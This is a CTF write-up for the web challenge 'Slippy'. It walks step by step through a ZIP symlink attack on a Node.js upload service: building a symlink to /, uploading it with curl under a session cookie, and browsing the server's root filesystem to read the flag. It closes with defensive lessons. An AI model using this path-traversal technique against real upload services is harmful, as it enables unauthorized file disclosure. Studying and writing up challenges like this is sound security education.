- Published on
CTF Write-up: Slippy (Web)
- Authors
- Name
- chstx64
- https://x.com/chstx64
- forensics, dachshund.
Slippy (Web) – CTF Write-up
Challenge Overview
We are given a Node.js web application with two endpoints:
/upload
→ accepts ZIP uploads/files
→ serves extracted contents
At build time, the container creates a random 8-character directory at the root /
and places the flag there:
/[random8]/flag.txt
Exploitation Strategy
This is a textbook case of ZIP symlink abuse.
When unzip
extracts an archive, it preserves symlinks by default. If the app later serves files without sanitizing the resolved paths, symlinks can escape the intended directory.
Plan:
- Craft a malicious ZIP containing a symlink
root_link -> /
. - Upload it via
/upload
. - Access
/files/root_link/
to traverse into/
. - Locate the random 8-char folder.
- Read
flag.txt
.
Step 1 – Malicious ZIP
On macOS/Linux:
mkdir exploit && cd exploit
ln -s / root_link
zip -y -r exploit.zip root_link
The -y flag ensures the symlink is stored as a symlink.
Verification:
zipinfo -l exploit.zip
# lrwxr-xr-x root_link -> /
Step 2 – Session Handling
Upload required a valid session cookie. Visiting ”/” sets a “connect.sid”
curl -c cookies.txt https://web-slippy-<id>.challs.tfcctf.com/
Step 3 – Upload the Exploit
The form field was “file”. Upload:
curl -b cookies.txt \
-F "file=@exploit.zip;type=application/zip" \
https://web-slippy-<id>.challs.tfcctf.com/upload
Step 4 – Symlink Traversal
Check files:
curl -b cookies.txt https://web-slippy-<id>.challs.tfcctf.com/files/
We now see root_link
.
Browse the symlink:
curl -b cookies.txt https://web-slippy-<id>.challs.tfcctf.com/files/root_link/
This reveals the random 8-character folder (e.g. c1lj821b).
Step 5 – Exfiltrate the Flag
Final request:
curl -b cookies.txt \
https://web-slippy-<id>.challs.tfcctf.com/files/root_link/c1lj821b/flag.txt
Flag retrieved:
TFCCTF{Fake_fLag}
Notes & Lessons
-
unzip + symlinks is a recurring pitfall: if static file serving (express.static) doesn’t resolve securely (e.g. using fs.realpath), uploads can break containment.
-
Session handling was critical — uploads without cookies triggered 500 errors.
-
The “random dir” trick only slows brute-forcing; with symlink access, enumeration was trivial.